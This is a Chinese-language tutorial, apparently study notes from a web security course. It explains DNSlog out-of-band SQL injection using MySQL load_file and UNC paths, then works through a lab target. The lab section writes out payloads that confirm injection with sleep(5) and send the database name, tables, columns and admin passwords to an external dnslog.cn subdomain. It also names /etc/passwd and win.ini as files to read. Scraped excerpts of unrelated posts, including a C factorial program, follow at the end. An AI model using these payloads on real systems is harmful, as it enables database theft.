一、dnslog的函式解析
1,基本
dns(協議 網域名稱 -> ip轉換)
日誌:基本上所有程式都會記錄日誌
dns 他實際上也是有日誌的
補充:問:dnslog注入是不是在linx系統可不可以用smb服務? (全稱是server message block , 用於在計算機間共享檔案、印表機、串列埠等,電腦上的網路上的芳鄰由它實現。)
答:在linx裡面預設不可以使用,因為linx沒有這個服務
2,函式用法:
select load_file(路徑); //這個函式用於讀取檔案內容,並返回輸出
例如:select load_file(c:/d/1.txt)
路徑可以是絕對也可以是相對,
注意mysql執行的相對路徑是 mysql/data/下 並不是mysql資料夾下
3,若load_file無法讀取檔案,去改一下設定:
在mysql檔案下my.ini的最下面加一行
secure_file_priv=
敏感檔案:
linux /etc/passwd
win c:/windows/win.ini
知道需不需要更改配置,直接去試試讀取敏感檔案
select load_file('c:/windows/win.ini');
4,unc路徑
unc: 簡單的說,就是網路(主要是區域網)上共享的資源
格式:\\servername\sharename,其中servername是伺服器名。sharename是共享資源的名稱。
如何共享:
首先建立資料夾,右鍵共享,高階共享。在以上選項可選時依次執行。
如何訪問:
在同網路中,輸入\\ + 對方的ip或+對方的主機名即可訪問對方共享的資料夾
例如:jkl計算機的名為a123的共享資料夾,
用unc表示:
\\jkl\a123
我們熟知的命令列訪問網路上的芳鄰,實際上應該稱作unc路徑訪問法
二、dnslog的使用場景
本質上就是win上的一種服務,linux上是沒有的在某些無法直接利用漏洞獲得回顯的情況下,
但是目標可以發起請求,這個時候就可以通過dnslog把想獲得的資料外帶出來。
對於sql盲注,常見的方法就是二分法去乙個個猜,但是這樣的方法麻煩不說,還很容易因為資料請求頻繁導致被ban。
所以可以將select到的資料傳送給乙個url,利用dns解析產生的記錄日誌來檢視資料
select load_file() (讀取檔案)可以請求遠端共享檔案。
比如:訪問baidu.com,訪問了網域名稱,網域名稱是由dns伺服器解析。
免費網域名稱平台:
免費的dnslog平台 提供免費網域名稱
select load_file(' abc');
網域名稱=>dns解析=>記錄某時某刻
select load_file(concat('//'(select database()),'網域名稱//abc') (select database())是乙個子查詢,會查詢當前庫名,有括號優先執行
select load_file('');
資料庫去訪問root.xx.***.***x的伺服器下的共享資料夾abc。
然後***.***x子網域名稱的解析都是在某台伺服器,然後他記錄下來了有人請求訪問root.xx.***.***x,然後在***這個平台上面顯示出來。
//開頭代表是unc路徑
三、靶場作業
判斷注入點
在url欄中輸入id=1 沒反應 輸入 id and 1=1 發現訪問被攔截 /123.txt?id=1%20and%20sleep(5) 發現有延遲,說明存在注入
02nz91.dnslog.cn 是網域名稱 abc 網域名稱下的資料夾
查詢庫名
and load_file(concat(『//』,(select database()),』.02nz91.dnslog.cn//abc』))
表名出現admin 說明第乙個表名是admin
and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()limit 0,1),'.02nz91.dnslog.cn//abc'))
出現第二個表 news
and load_file(concat('//',(select table_name from information_schema.tables where table_schema=0x6d616e677a6875 limit 0,1),'.02nz91.dnslog.cn//abc'))
欄位名 limit 3,1/limit 2,1 /limit 1,1 出現全部字段
and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 3,1),'.02nz91.dnslog.cn//abc'))
爆內容
and load_file(concat('//',(select password from admin limit 0,1),'.02nz91.dnslog.cn//abc'))
web安全入門(第五章 2 偏移注入
一 偏移注入使用場景 早sql注入得時候會遇到一些無法查詢列名得問題,比如系統自帶資料庫的 許可權不夠而無法訪問系統自帶庫。或者遇到access資料庫 當你猜到表名無法猜到欄位名的情況下,我們可以使用偏移注入來查詢那張表裡面的資料。向sqlmap之類的工具實際上是爆破欄位名的名字,但是如果欄位名稱比...
網路安全零基礎入門(第五章 4)盲注
注入攻擊本質 使用者輸入的資料當做 去執行 條件 使用者可以控制輸入 原本程式要執行的 拼接了使用者的內容,然後執行了 定義 盲注對應的是顯錯注入。但是很多時候,web伺服器關閉了錯誤回顯,這時候我們就無法實行sql注入了嗎?明顯不是這樣的。盲注在伺服器沒有回顯的時候完成了注入攻擊,由於沒有錯誤回顯...
演算法競賽經典入門 第五章階乘的精確值
include include const int maxn 3000 int f maxn int main for j maxn 1 j 0 j if f j break for i j i 0 i printf d f i printf n return 0 原來計算階乘是這樣的 includ...